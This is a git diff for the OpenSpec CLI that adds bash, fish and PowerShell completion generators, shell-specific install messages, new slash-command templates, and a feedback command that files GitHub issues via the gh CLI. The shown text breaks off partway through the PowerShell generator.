const createdSkillFiles: string[] = [];
|
||||
@@ -840,12 +846,14 @@ ${template.instructions}
|
||||
|
||||
// Create slash command files
|
||||
const commands = [
|
||||
{ template: exploreCommand, fileName: 'explore.md' },
|
||||
{ template: newCommand, fileName: 'new.md' },
|
||||
{ template: continueCommand, fileName: 'continue.md' },
|
||||
{ template: applyCommand, fileName: 'apply.md' },
|
||||
{ template: ffCommand, fileName: 'ff.md' },
|
||||
{ template: syncCommand, fileName: 'sync.md' },
|
||||
{ template: archiveCommand, fileName: 'archive.md' },
|
||||
{ template: verifyCommand, fileName: 'verify.md' },
|
||||
];
|
||||
|
||||
const createdCommandFiles: string[] = [];
|
||||
@@ -898,11 +906,13 @@ ${template.content}
|
||||
console.log(' • "Implement the tasks for this change"');
|
||||
console.log();
|
||||
console.log(' ' + chalk.cyan('Slash Commands') + ' for explicit invocation:');
|
||||
console.log(' • /opsx:explore - Think through ideas, investigate problems');
|
||||
console.log(' • /opsx:new - Start a new change');
|
||||
console.log(' • /opsx:continue - Create the next artifact');
|
||||
console.log(' • /opsx:apply - Implement tasks');
|
||||
console.log(' • /opsx:ff - Fast-forward: create all artifacts at once');
|
||||
console.log(' • /opsx:sync - Sync delta specs to main specs');
|
||||
console.log(' • /opsx:verify - Verify implementation matches artifacts');
|
||||
console.log(' • /opsx:archive - Archive a completed change');
|
||||
console.log();
|
||||
console.log(chalk.yellow('💡 This is an experimental feature.'));
|
||||
|
||||
@@ -144,8 +144,27 @@ export class CompletionCommand {
|
||||
if (result.backupPath) {
|
||||
console.log(` Backup created: ${result.backupPath}`);
|
||||
}
|
||||
if (result.zshrcConfigured) {
|
||||
console.log(` ~/.zshrc configured automatically`);
|
||||
|
||||
// Check if any shell config was updated
|
||||
const configWasUpdated = result.zshrcConfigured || result.bashrcConfigured || result.profileConfigured;
|
||||
|
||||
if (configWasUpdated) {
|
||||
const configPaths: Record<string, string> = {
|
||||
zsh: '~/.zshrc',
|
||||
bash: '~/.bashrc',
|
||||
fish: '~/.config/fish/config.fish',
|
||||
powershell: '$PROFILE',
|
||||
};
|
||||
const configPath = configPaths[shell] || 'config file';
|
||||
console.log(` ${configPath} configured automatically`);
|
||||
}
|
||||
}
|
||||
|
||||
// Display warnings if present
|
||||
if (result.warnings && result.warnings.length > 0) {
|
||||
console.log('');
|
||||
for (const warning of result.warnings) {
|
||||
console.log(warning);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -155,9 +174,24 @@ export class CompletionCommand {
|
||||
for (const instruction of result.instructions) {
|
||||
console.log(instruction);
|
||||
}
|
||||
} else if (result.zshrcConfigured) {
|
||||
console.log('');
|
||||
console.log('Restart your shell or run: exec zsh');
|
||||
} else {
|
||||
// Check if any shell config was updated (InstallationResult has: zshrcConfigured, bashrcConfigured, profileConfigured)
|
||||
const configWasUpdated = result.zshrcConfigured || result.bashrcConfigured || result.profileConfigured;
|
||||
|
||||
if (configWasUpdated) {
|
||||
console.log('');
|
||||
|
||||
// Shell-specific reload instructions
|
||||
const reloadCommands: Record<string, string> = {
|
||||
zsh: 'exec zsh',
|
||||
bash: 'exec bash',
|
||||
fish: 'exec fish',
|
||||
powershell: '. $PROFILE',
|
||||
};
|
||||
const reloadCmd = reloadCommands[shell] || `restart your ${shell} shell`;
|
||||
|
||||
console.log(`Restart your shell or run: ${reloadCmd}`);
|
||||
}
|
||||
}
|
||||
} else {
|
||||
console.error(`✗ ${result.message}`);
|
||||
@@ -179,8 +213,18 @@ export class CompletionCommand {
|
||||
// Prompt for confirmation unless --yes flag is provided
|
||||
if (!skipConfirmation) {
|
||||
const { confirm } = await import('@inquirer/prompts');
|
||||
|
||||
// Get shell-specific config file path
|
||||
const configPaths: Record<string, string> = {
|
||||
zsh: '~/.zshrc',
|
||||
bash: '~/.bashrc',
|
||||
fish: 'Fish configuration', // Fish doesn't modify profile, just removes script file
|
||||
powershell: '$PROFILE',
|
||||
};
|
||||
const configPath = configPaths[shell] || `${shell} configuration`;
|
||||
|
||||
const confirmed = await confirm({
|
||||
message: 'Remove OpenSpec configuration from ~/.zshrc?',
|
||||
message: `Remove OpenSpec configuration from ${configPath}?`,
|
||||
default: false,
|
||||
});
|
||||
|
||||
|
||||
@@ -0,0 +1,208 @@
|
||||
import { execSync, execFileSync } from 'child_process';
|
||||
import { createRequire } from 'module';
|
||||
import os from 'os';
|
||||
|
||||
const require = createRequire(import.meta.url);
|
||||
|
||||
/**
|
||||
* Check if gh CLI is installed and available in PATH
|
||||
* Uses platform-appropriate command: 'where' on Windows, 'which' on Unix/macOS
|
||||
*/
|
||||
function isGhInstalled(): boolean {
|
||||
try {
|
||||
const command = process.platform === 'win32' ? 'where gh' : 'which gh';
|
||||
execSync(command, { stdio: 'pipe' });
|
||||
return true;
|
||||
} catch {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Check if gh CLI is authenticated
|
||||
*/
|
||||
function isGhAuthenticated(): boolean {
|
||||
try {
|
||||
execSync('gh auth status', { stdio: 'pipe' });
|
||||
return true;
|
||||
} catch {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Get OpenSpec version from package.json
|
||||
*/
|
||||
function getVersion(): string {
|
||||
try {
|
||||
const { version } = require('../../package.json');
|
||||
return version;
|
||||
} catch {
|
||||
return 'unknown';
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Get platform name
|
||||
*/
|
||||
function getPlatform(): string {
|
||||
return os.platform();
|
||||
}
|
||||
|
||||
/**
|
||||
* Get current timestamp in ISO format
|
||||
*/
|
||||
function getTimestamp(): string {
|
||||
return new Date().toISOString();
|
||||
}
|
||||
|
||||
/**
|
||||
* Generate metadata footer for feedback
|
||||
*/
|
||||
function generateMetadata(): string {
|
||||
const version = getVersion();
|
||||
const platform = getPlatform();
|
||||
const timestamp = getTimestamp();
|
||||
|
||||
return `---
|
||||
Submitted via OpenSpec CLI
|
||||
- Version: ${version}
|
||||
- Platform: ${platform}
|
||||
- Timestamp: ${timestamp}`;
|
||||
}
|
||||
|
||||
/**
|
||||
* Format the feedback title
|
||||
*/
|
||||
function formatTitle(message: string): string {
|
||||
return `Feedback: ${message}`;
|
||||
}
|
||||
|
||||
/**
|
||||
* Format the full feedback body
|
||||
*/
|
||||
function formatBody(bodyText?: string): string {
|
||||
const parts: string[] = [];
|
||||
|
||||
if (bodyText) {
|
||||
parts.push(bodyText);
|
||||
parts.push(''); // Empty line before metadata
|
||||
}
|
||||
|
||||
parts.push(generateMetadata());
|
||||
|
||||
return parts.join('\n');
|
||||
}
|
||||
|
||||
/**
|
||||
* Generate a pre-filled GitHub issue URL for manual submission
|
||||
*/
|
||||
function generateManualSubmissionUrl(title: string, body: string): string {
|
||||
const repo = 'Fission-AI/OpenSpec';
|
||||
const encodedTitle = encodeURIComponent(title);
|
||||
const encodedBody = encodeURIComponent(body);
|
||||
const encodedLabels = encodeURIComponent('feedback');
|
||||
|
||||
return `https://github.com/${repo}/issues/new?title=${encodedTitle}&body=${encodedBody}&labels=${encodedLabels}`;
|
||||
}
|
||||
|
||||
/**
|
||||
* Display formatted feedback content for manual submission
|
||||
*/
|
||||
function displayFormattedFeedback(title: string, body: string): void {
|
||||
console.log('\n--- FORMATTED FEEDBACK ---');
|
||||
console.log(`Title: ${title}`);
|
||||
console.log(`Labels: feedback`);
|
||||
console.log('\nBody:');
|
||||
console.log(body);
|
||||
console.log('--- END FEEDBACK ---\n');
|
||||
}
|
||||
|
||||
/**
|
||||
* Submit feedback via gh CLI
|
||||
* Uses execFileSync to prevent shell injection vulnerabilities
|
||||
*/
|
||||
function submitViaGhCli(title: string, body: string): void {
|
||||
try {
|
||||
const result = execFileSync(
|
||||
'gh',
|
||||
[
|
||||
'issue',
|
||||
'create',
|
||||
'--repo',
|
||||
'Fission-AI/OpenSpec',
|
||||
'--title',
|
||||
title,
|
||||
'--body',
|
||||
body,
|
||||
'--label',
|
||||
'feedback',
|
||||
],
|
||||
{ encoding: 'utf-8', stdio: 'pipe' }
|
||||
);
|
||||
|
||||
const issueUrl = result.trim();
|
||||
console.log(`\n✓ Feedback submitted successfully!`);
|
||||
console.log(`Issue URL: ${issueUrl}\n`);
|
||||
} catch (error: any) {
|
||||
// Display the error output from gh CLI
|
||||
if (error.stderr) {
|
||||
console.error(error.stderr.toString());
|
||||
} else if (error.message) {
|
||||
console.error(error.message);
|
||||
}
|
||||
|
||||
// Exit with the same code as gh CLI
|
||||
process.exit(error.status ?? 1);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Handle fallback when gh CLI is not available or not authenticated
|
||||
*/
|
||||
function handleFallback(title: string, body: string, reason: 'missing' | 'unauthenticated'): void {
|
||||
if (reason === 'missing') {
|
||||
console.log('⚠️ GitHub CLI not found. Manual submission required.');
|
||||
} else {
|
||||
console.log('⚠️ GitHub authentication required. Manual submission required.');
|
||||
}
|
||||
|
||||
displayFormattedFeedback(title, body);
|
||||
|
||||
const manualUrl = generateManualSubmissionUrl(title, body);
|
||||
console.log('Please submit your feedback manually:');
|
||||
console.log(manualUrl);
|
||||
|
||||
if (reason === 'unauthenticated') {
|
||||
console.log('\nTo auto-submit in the future: gh auth login');
|
||||
}
|
||||
|
||||
// Exit with success code (fallback is successful)
|
||||
process.exit(0);
|
||||
}
|
||||
|
||||
/**
|
||||
* Feedback command implementation
|
||||
*/
|
||||
export class FeedbackCommand {
|
||||
async execute(message: string, options?: { body?: string }): Promise<void> {
|
||||
// Format title and body once for all code paths
|
||||
const title = formatTitle(message);
|
||||
const body = formatBody(options?.body);
|
||||
|
||||
// Check if gh CLI is installed
|
||||
if (!isGhInstalled()) {
|
||||
handleFallback(title, body, 'missing');
|
||||
return;
|
||||
}
|
||||
|
||||
// Check if gh CLI is authenticated
|
||||
if (!isGhAuthenticated()) {
|
||||
handleFallback(title, body, 'unauthenticated');
|
||||
return;
|
||||
}
|
||||
|
||||
// Submit via gh CLI
|
||||
submitViaGhCli(title, body);
|
||||
}
|
||||
}
|
||||
@@ -155,6 +155,18 @@ export const COMMAND_REGISTRY: CommandDefinition[] = [
|
||||
},
|
||||
],
|
||||
},
|
||||
{
|
||||
name: 'feedback',
|
||||
description: 'Submit feedback about OpenSpec',
|
||||
acceptsPositional: true,
|
||||
flags: [
|
||||
{
|
||||
name: 'body',
|
||||
description: 'Detailed description for the feedback',
|
||||
takesValue: true,
|
||||
},
|
||||
],
|
||||
},
|
||||
{
|
||||
name: 'change',
|
||||
description: 'Manage OpenSpec change proposals (deprecated)',
|
||||
@@ -284,7 +296,13 @@ export const COMMAND_REGISTRY: CommandDefinition[] = [
|
||||
description: 'Uninstall completion script for a shell',
|
||||
acceptsPositional: true,
|
||||
positionalType: 'shell',
|
||||
flags: [],
|
||||
flags: [
|
||||
{
|
||||
name: 'yes',
|
||||
short: 'y',
|
||||
description: 'Skip confirmation prompts',
|
||||
},
|
||||
],
|
||||
},
|
||||
],
|
||||
},
|
||||
|
||||
@@ -1,8 +1,31 @@
|
||||
import { CompletionGenerator } from './types.js';
|
||||
import { ZshGenerator } from './generators/zsh-generator.js';
|
||||
import { ZshInstaller, InstallationResult } from './installers/zsh-installer.js';
|
||||
import { BashGenerator } from './generators/bash-generator.js';
|
||||
import { FishGenerator } from './generators/fish-generator.js';
|
||||
import { PowerShellGenerator } from './generators/powershell-generator.js';
|
||||
import { ZshInstaller } from './installers/zsh-installer.js';
|
||||
import { BashInstaller } from './installers/bash-installer.js';
|
||||
import { FishInstaller } from './installers/fish-installer.js';
|
||||
import { PowerShellInstaller } from './installers/powershell-installer.js';
|
||||
import { SupportedShell } from '../../utils/shell-detection.js';
|
||||
|
||||
/**
|
||||
* Common installation result interface
|
||||
*/
|
||||
export interface InstallationResult {
|
||||
success: boolean;
|
||||
installedPath?: string;
|
||||
backupPath?: string;
|
||||
message: string;
|
||||
instructions?: string[];
|
||||
warnings?: string[];
|
||||
// Shell-specific optional fields
|
||||
isOhMyZsh?: boolean;
|
||||
zshrcConfigured?: boolean;
|
||||
bashrcConfigured?: boolean;
|
||||
profileConfigured?: boolean;
|
||||
}
|
||||
|
||||
/**
|
||||
* Interface for completion installers
|
||||
*/
|
||||
@@ -11,15 +34,12 @@ export interface CompletionInstaller {
|
||||
uninstall(): Promise<{ success: boolean; message: string }>;
|
||||
}
|
||||
|
||||
// Re-export InstallationResult for convenience
|
||||
export type { InstallationResult };
|
||||
|
||||
/**
|
||||
* Factory for creating completion generators and installers
|
||||
* This design makes it easy to add support for additional shells
|
||||
*/
|
||||
export class CompletionFactory {
|
||||
private static readonly SUPPORTED_SHELLS: SupportedShell[] = ['zsh'];
|
||||
private static readonly SUPPORTED_SHELLS: SupportedShell[] = ['zsh', 'bash', 'fish', 'powershell'];
|
||||
|
||||
/**
|
||||
* Create a completion generator for the specified shell
|
||||
@@ -32,6 +52,12 @@ export class CompletionFactory {
|
||||
switch (shell) {
|
||||
case 'zsh':
|
||||
return new ZshGenerator();
|
||||
case 'bash':
|
||||
return new BashGenerator();
|
||||
case 'fish':
|
||||
return new FishGenerator();
|
||||
case 'powershell':
|
||||
return new PowerShellGenerator();
|
||||
default:
|
||||
throw new Error(`Unsupported shell: ${shell}`);
|
||||
}
|
||||
@@ -48,6 +74,12 @@ export class CompletionFactory {
|
||||
switch (shell) {
|
||||
case 'zsh':
|
||||
return new ZshInstaller();
|
||||
case 'bash':
|
||||
return new BashInstaller();
|
||||
case 'fish':
|
||||
return new FishInstaller();
|
||||
case 'powershell':
|
||||
return new PowerShellInstaller();
|
||||
default:
|
||||
throw new Error(`Unsupported shell: ${shell}`);
|
||||
}
|
||||
|
||||
@@ -0,0 +1,191 @@
|
||||
import { CompletionGenerator, CommandDefinition, FlagDefinition } from '../types.js';
|
||||
import { BASH_DYNAMIC_HELPERS } from '../templates/bash-templates.js';
|
||||
|
||||
/**
|
||||
* Generates Bash completion scripts for the OpenSpec CLI.
|
||||
* Follows Bash completion conventions using complete builtin and COMPREPLY array.
|
||||
*/
|
||||
export class BashGenerator implements CompletionGenerator {
|
||||
readonly shell = 'bash' as const;
|
||||
|
||||
/**
|
||||
* Generate a Bash completion script
|
||||
*
|
||||
* @param commands - Command definitions to generate completions for
|
||||
* @returns Bash completion script as a string
|
||||
*/
|
||||
generate(commands: CommandDefinition[]): string {
|
||||
// Build command list for top-level completions
|
||||
const commandList = commands.map(c => this.escapeCommandName(c.name)).join(' ');
|
||||
|
||||
// Build command cases using push() for loop clarity
|
||||
const caseLines: string[] = [];
|
||||
for (const cmd of commands) {
|
||||
caseLines.push(` ${cmd.name})`);
|
||||
caseLines.push(...this.generateCommandCase(cmd, ' '));
|
||||
caseLines.push(' ;;');
|
||||
}
|
||||
const commandCases = caseLines.join('\n');
|
||||
|
||||
// Dynamic completion helpers from template
|
||||
const helpers = BASH_DYNAMIC_HELPERS;
|
||||
|
||||
// Assemble final script with template literal
|
||||
return `# Bash completion script for OpenSpec CLI
|
||||
# Auto-generated - do not edit manually
|
||||
|
||||
_openspec_completion() {
|
||||
local cur prev words cword
|
||||
|
||||
# Use _init_completion if available (from bash-completion package)
|
||||
# The -n : option prevents colons from being treated as word separators
|
||||
# (important for spec/change IDs that may contain colons)
|
||||
# Otherwise, fall back to manual initialization
|
||||
if declare -F _init_completion >/dev/null 2>&1; then
|
||||
_init_completion -n : || return
|
||||
else
|
||||
# Manual fallback when bash-completion is not installed
|
||||
COMPREPLY=()
|
||||
cur="\${COMP_WORDS[COMP_CWORD]}"
|
||||
prev="\${COMP_WORDS[COMP_CWORD-1]}"
|
||||
words=("\${COMP_WORDS[@]}")
|
||||
cword=$COMP_CWORD
|
||||
fi
|
||||
|
||||
local cmd="\${words[1]}"
|
||||
local subcmd="\${words[2]}"
|
||||
|
||||
# Top-level commands
|
||||
if [[ $cword -eq 1 ]]; then
|
||||
local commands="${commandList}"
|
||||
COMPREPLY=($(compgen -W "$commands" -- "$cur"))
|
||||
return 0
|
||||
fi
|
||||
|
||||
# Command-specific completion
|
||||
case "$cmd" in
|
||||
${commandCases}
|
||||
esac
|
||||
|
||||
return 0
|
||||
}
|
||||
|
||||
${helpers}
|
||||
complete -F _openspec_completion openspec
|
||||
`;
|
||||
}
|
||||
|
||||
/**
|
||||
* Generate completion case logic for a command
|
||||
*/
|
||||
private generateCommandCase(cmd: CommandDefinition, indent: string): string[] {
|
||||
const lines: string[] = [];
|
||||
|
||||
// Handle subcommands
|
||||
if (cmd.subcommands && cmd.subcommands.length > 0) {
|
||||
// First, check if user is typing a flag for the parent command
|
||||
if (cmd.flags.length > 0) {
|
||||
lines.push(`${indent}if [[ "$cur" == -* ]]; then`);
|
||||
const flags = cmd.flags.map(f => {
|
||||
const parts: string[] = [];
|
||||
if (f.short) parts.push(`-${f.short}`);
|
||||
parts.push(`--${f.name}`);
|
||||
return parts.join(' ');
|
||||
}).join(' ');
|
||||
lines.push(`${indent} local flags="${flags}"`);
|
||||
lines.push(`${indent} COMPREPLY=($(compgen -W "$flags" -- "$cur"))`);
|
||||
lines.push(`${indent} return 0`);
|
||||
lines.push(`${indent}fi`);
|
||||
lines.push('');
|
||||
}
|
||||
|
||||
lines.push(`${indent}if [[ $cword -eq 2 ]]; then`);
|
||||
lines.push(`${indent} local subcommands="` + cmd.subcommands.map(s => this.escapeCommandName(s.name)).join(' ') + '"');
|
||||
lines.push(`${indent} COMPREPLY=($(compgen -W "$subcommands" -- "$cur"))`);
|
||||
lines.push(`${indent} return 0`);
|
||||
lines.push(`${indent}fi`);
|
||||
lines.push('');
|
||||
lines.push(`${indent}case "$subcmd" in`);
|
||||
|
||||
for (const subcmd of cmd.subcommands) {
|
||||
lines.push(`${indent} ${subcmd.name})`);
|
||||
lines.push(...this.generateArgumentCompletion(subcmd, indent + ' '));
|
||||
lines.push(`${indent} ;;`);
|
||||
}
|
||||
|
||||
lines.push(`${indent}esac`);
|
||||
} else {
|
||||
// No subcommands, just complete arguments
|
||||
lines.push(...this.generateArgumentCompletion(cmd, indent));
|
||||
}
|
||||
|
||||
return lines;
|
||||
}
|
||||
|
||||
/**
|
||||
* Generate argument completion (flags and positional arguments)
|
||||
*/
|
||||
private generateArgumentCompletion(cmd: CommandDefinition, indent: string): string[] {
|
||||
const lines: string[] = [];
|
||||
|
||||
// Check for flag completion
|
||||
if (cmd.flags.length > 0) {
|
||||
lines.push(`${indent}if [[ "$cur" == -* ]]; then`);
|
||||
const flags = cmd.flags.map(f => {
|
||||
const parts: string[] = [];
|
||||
if (f.short) parts.push(`-${f.short}`);
|
||||
parts.push(`--${f.name}`);
|
||||
return parts.join(' ');
|
||||
}).join(' ');
|
||||
lines.push(`${indent} local flags="${flags}"`);
|
||||
lines.push(`${indent} COMPREPLY=($(compgen -W "$flags" -- "$cur"))`);
|
||||
lines.push(`${indent} return 0`);
|
||||
lines.push(`${indent}fi`);
|
||||
lines.push('');
|
||||
}
|
||||
|
||||
// Handle positional completions
|
||||
if (cmd.acceptsPositional) {
|
||||
lines.push(...this.generatePositionalCompletion(cmd.positionalType, indent));
|
||||
}
|
||||
|
||||
return lines;
|
||||
}
|
||||
|
||||
/**
|
||||
* Generate positional argument completion based on type
|
||||
*/
|
||||
private generatePositionalCompletion(positionalType: string | undefined, indent: string): string[] {
|
||||
const lines: string[] = [];
|
||||
|
||||
switch (positionalType) {
|
||||
case 'change-id':
|
||||
lines.push(`${indent}_openspec_complete_changes`);
|
||||
break;
|
||||
case 'spec-id':
|
||||
lines.push(`${indent}_openspec_complete_specs`);
|
||||
break;
|
||||
case 'change-or-spec-id':
|
||||
lines.push(`${indent}_openspec_complete_items`);
|
||||
break;
|
||||
case 'shell':
|
||||
lines.push(`${indent}local shells="zsh bash fish powershell"`);
|
||||
lines.push(`${indent}COMPREPLY=($(compgen -W "$shells" -- "$cur"))`);
|
||||
break;
|
||||
case 'path':
|
||||
lines.push(`${indent}COMPREPLY=($(compgen -f -- "$cur"))`);
|
||||
break;
|
||||
}
|
||||
|
||||
return lines;
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* Escape command/subcommand names for safe use in Bash scripts
|
||||
*/
|
||||
private escapeCommandName(name: string): string {
|
||||
// Escape shell metacharacters to prevent command injection
|
||||
return name.replace(/["\$`\\]/g, '\\$&');
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,188 @@
|
||||
import { CompletionGenerator, CommandDefinition, FlagDefinition } from '../types.js';
|
||||
import { FISH_STATIC_HELPERS, FISH_DYNAMIC_HELPERS } from '../templates/fish-templates.js';
|
||||
|
||||
/**
|
||||
* Generates Fish completion scripts for the OpenSpec CLI.
|
||||
* Follows Fish completion conventions using the complete command.
|
||||
*/
|
||||
export class FishGenerator implements CompletionGenerator {
|
||||
readonly shell = 'fish' as const;
|
||||
|
||||
/**
|
||||
* Generate a Fish completion script
|
||||
*
|
||||
* @param commands - Command definitions to generate completions for
|
||||
* @returns Fish completion script as a string
|
||||
*/
|
||||
generate(commands: CommandDefinition[]): string {
|
||||
// Build top-level commands using push() for loop clarity
|
||||
const topLevelLines: string[] = [];
|
||||
for (const cmd of commands) {
|
||||
topLevelLines.push(`# ${cmd.name} command`);
|
||||
topLevelLines.push(
|
||||
`complete -c openspec -n '__fish_openspec_no_subcommand' -a '${cmd.name}' -d '${this.escapeDescription(cmd.description)}'`
|
||||
);
|
||||
}
|
||||
const topLevelCommands = topLevelLines.join('\n');
|
||||
|
||||
// Build command-specific completions using push() for loop clarity
|
||||
const commandCompletionLines: string[] = [];
|
||||
for (const cmd of commands) {
|
||||
commandCompletionLines.push(...this.generateCommandCompletions(cmd));
|
||||
commandCompletionLines.push('');
|
||||
}
|
||||
const commandCompletions = commandCompletionLines.join('\n');
|
||||
|
||||
// Static helper functions from template
|
||||
const helperFunctions = FISH_STATIC_HELPERS;
|
||||
|
||||
// Dynamic completion helpers from template
|
||||
const dynamicHelpers = FISH_DYNAMIC_HELPERS;
|
||||
|
||||
// Assemble final script with template literal
|
||||
return `# Fish completion script for OpenSpec CLI
|
||||
# Auto-generated - do not edit manually
|
||||
|
||||
${helperFunctions}
|
||||
${dynamicHelpers}
|
||||
${topLevelCommands}
|
||||
|
||||
${commandCompletions}`;
|
||||
}
|
||||
|
||||
/**
|
||||
* Generate completions for a specific command
|
||||
*/
|
||||
private generateCommandCompletions(cmd: CommandDefinition): string[] {
|
||||
const lines: string[] = [];
|
||||
|
||||
// If command has subcommands
|
||||
if (cmd.subcommands && cmd.subcommands.length > 0) {
|
||||
// Add subcommand completions
|
||||
for (const subcmd of cmd.subcommands) {
|
||||
lines.push(
|
||||
`complete -c openspec -n '__fish_openspec_using_subcommand ${cmd.name}; and not __fish_openspec_using_subcommand ${subcmd.name}' -a '${subcmd.name}' -d '${this.escapeDescription(subcmd.description)}'`
|
||||
);
|
||||
}
|
||||
lines.push('');
|
||||
|
||||
// Add flags for parent command
|
||||
for (const flag of cmd.flags) {
|
||||
lines.push(...this.generateFlagCompletion(flag, `__fish_openspec_using_subcommand ${cmd.name}`));
|
||||
}
|
||||
|
||||
// Add completions for each subcommand
|
||||
for (const subcmd of cmd.subcommands) {
|
||||
lines.push(`# ${cmd.name} ${subcmd.name} flags`);
|
||||
for (const flag of subcmd.flags) {
|
||||
lines.push(...this.generateFlagCompletion(flag, `__fish_openspec_using_subcommand ${cmd.name}; and __fish_openspec_using_subcommand ${subcmd.name}`));
|
||||
}
|
||||
|
||||
// Add positional completions for subcommand
|
||||
if (subcmd.acceptsPositional) {
|
||||
lines.push(...this.generatePositionalCompletion(subcmd.positionalType, `__fish_openspec_using_subcommand ${cmd.name}; and __fish_openspec_using_subcommand ${subcmd.name}`));
|
||||
}
|
||||
}
|
||||
} else {
|
||||
// Command without subcommands
|
||||
lines.push(`# ${cmd.name} flags`);
|
||||
for (const flag of cmd.flags) {
|
||||
lines.push(...this.generateFlagCompletion(flag, `__fish_openspec_using_subcommand ${cmd.name}`));
|
||||
}
|
||||
|
||||
// Add positional completions
|
||||
if (cmd.acceptsPositional) {
|
||||
lines.push(...this.generatePositionalCompletion(cmd.positionalType, `__fish_openspec_using_subcommand ${cmd.name}`));
|
||||
}
|
||||
}
|
||||
|
||||
return lines;
|
||||
}
|
||||
|
||||
/**
|
||||
* Generate flag completion
|
||||
*/
|
||||
private generateFlagCompletion(flag: FlagDefinition, condition: string): string[] {
|
||||
const lines: string[] = [];
|
||||
const longFlag = `--${flag.name}`;
|
||||
const shortFlag = flag.short ? `-${flag.short}` : undefined;
|
||||
|
||||
if (flag.takesValue && flag.values) {
|
||||
// Flag with enum values
|
||||
for (const value of flag.values) {
|
||||
if (shortFlag) {
|
||||
lines.push(
|
||||
`complete -c openspec -n '${condition}' -s ${flag.short} -l ${flag.name} -a '${value}' -d '${this.escapeDescription(flag.description)}'`
|
||||
);
|
||||
} else {
|
||||
lines.push(
|
||||
`complete -c openspec -n '${condition}' -l ${flag.name} -a '${value}' -d '${this.escapeDescription(flag.description)}'`
|
||||
);
|
||||
}
|
||||
}
|
||||
} else if (flag.takesValue) {
|
||||
// Flag that takes a value but no specific values defined
|
||||
if (shortFlag) {
|
||||
lines.push(
|
||||
`complete -c openspec -n '${condition}' -s ${flag.short} -l ${flag.name} -r -d '${this.escapeDescription(flag.description)}'`
|
||||
);
|
||||
} else {
|
||||
lines.push(
|
||||
`complete -c openspec -n '${condition}' -l ${flag.name} -r -d '${this.escapeDescription(flag.description)}'`
|
||||
);
|
||||
}
|
||||
} else {
|
||||
// Boolean flag
|
||||
if (shortFlag) {
|
||||
lines.push(
|
||||
`complete -c openspec -n '${condition}' -s ${flag.short} -l ${flag.name} -d '${this.escapeDescription(flag.description)}'`
|
||||
);
|
||||
} else {
|
||||
lines.push(
|
||||
`complete -c openspec -n '${condition}' -l ${flag.name} -d '${this.escapeDescription(flag.description)}'`
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
return lines;
|
||||
}
|
||||
|
||||
/**
|
||||
* Generate positional argument completion
|
||||
*/
|
||||
private generatePositionalCompletion(positionalType: string | undefined, condition: string): string[] {
|
||||
const lines: string[] = [];
|
||||
|
||||
switch (positionalType) {
|
||||
case 'change-id':
|
||||
lines.push(`complete -c openspec -n '${condition}' -a '(__fish_openspec_changes)' -f`);
|
||||
break;
|
||||
case 'spec-id':
|
||||
lines.push(`complete -c openspec -n '${condition}' -a '(__fish_openspec_specs)' -f`);
|
||||
break;
|
||||
case 'change-or-spec-id':
|
||||
lines.push(`complete -c openspec -n '${condition}' -a '(__fish_openspec_items)' -f`);
|
||||
break;
|
||||
case 'shell':
|
||||
lines.push(`complete -c openspec -n '${condition}' -a 'zsh bash fish powershell' -f`);
|
||||
break;
|
||||
case 'path':
|
||||
// Fish automatically completes files, no need to specify
|
||||
break;
|
||||
}
|
||||
|
||||
return lines;
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* Escape description text for Fish
|
||||
*/
|
||||
private escapeDescription(description: string): string {
|
||||
return description
|
||||
.replace(/\\/g, '\\\\') // Backslashes first
|
||||
.replace(/'/g, "\\'") // Single quotes
|
||||
.replace(/\$/g, '\\$') // Dollar signs (prevents $())
|
||||
.replace(/`/g, '\\`'); // Backticks
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,223 @@
|
||||
import { CompletionGenerator, CommandDefinition, FlagDefinition } from '../types.js';
|
||||
import { POWERSHELL_DYNAMIC_HELPERS } from '../templates/powershell-templates.js';
|
||||
|
||||
/**
|
||||
* Generates PowerShell completion scripts for the OpenSpec CLI.
|
||||
* Uses Register-ArgumentCompleter for command completion.
|
||||
*/
|
||||
export class PowerShellGenerator implements CompletionGenerator {
|
||||
readonly shell = 'powershell' as const;
|
||||
|
||||
private stripTrailingCommaFromLastLine(lines: string[]): void {
|
||||
if (lines.length === 0) return;
|
||||
lines[lines.length - 1] = lines[lines.length - 1].replace(/,\s*$/, '');
|
||||
}
|
||||
|
||||
/**
|
||||
* Generate a PowerShell completion script
|
||||
*
|
||||
* @param commands - Command definitions to generate completions for
|
||||
* @returns PowerShell completion script as a string
|
||||
*/
|
||||
generate(commands: CommandDefinition[]): string {
|
||||
// Build top-level commands using push() for loop clarity
|
||||
const commandLines: string[] = [];
|
||||
for (const cmd of commands) {
|
||||
commandLines.push(` @{Name="${cmd.name}"; Description="${this.escapeDescription(cmd.description)}"},`);
|
||||
}
|
||||
this.stripTrailingCommaFromLastLine(commandLines);
|
||||
const topLevelCommands = commandLines.join('\n');
|
||||
|
||||
// Build command cases using push() for loop clarity
|
||||
const commandCaseLines: string[] = [];
|
||||
for (const cmd of commands) {
|
||||
commandCaseLines.push(` "${cmd.name}" {`);
|
||||
commandCaseLines.push(...this.generateCommandCase(cmd, ' '));
|
||||
commandCaseLines.push(' }');
|
||||
}
|
||||
const commandCases = commandCaseLines.join('\n');
|
||||
|
||||
// Dynamic completion helpers from template
|
||||
const helpers = POWERSHELL_DYNAMIC_HELPERS;
|
||||
|
||||
// Assemble final script with template literal
|
||||
return `# PowerShell completion script for OpenSpec CLI
|
||||
# Auto-generated - do not edit manually
|
||||
|
||||
${helpers}
|
||||
$openspecCompleter = {
|
||||
param($wordToComplete, $commandAst, $cursorPosition)
|
||||
|
||||
$tokens = $commandAst.ToString() -split "\\s+"
|
||||
$commandCount = ($tokens | Measure-Object).Count
|
||||
|
||||
# Top-level commands
|
||||
if ($commandCount -eq 1 -or ($commandCount -eq 2 -and $wordToComplete)) {
|
||||
$commands = @(
|
||||
${topLevelCommands}
|
||||
)
|
||||
$commands | Where-Object { $_.Name -like "$wordToComplete*" } | ForEach-Object {
|
||||
[System.Management.Automation.CompletionResult]::new($_.Name, $_.Name, "ParameterValue", $_.Description)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
$command = $tokens[1]
|
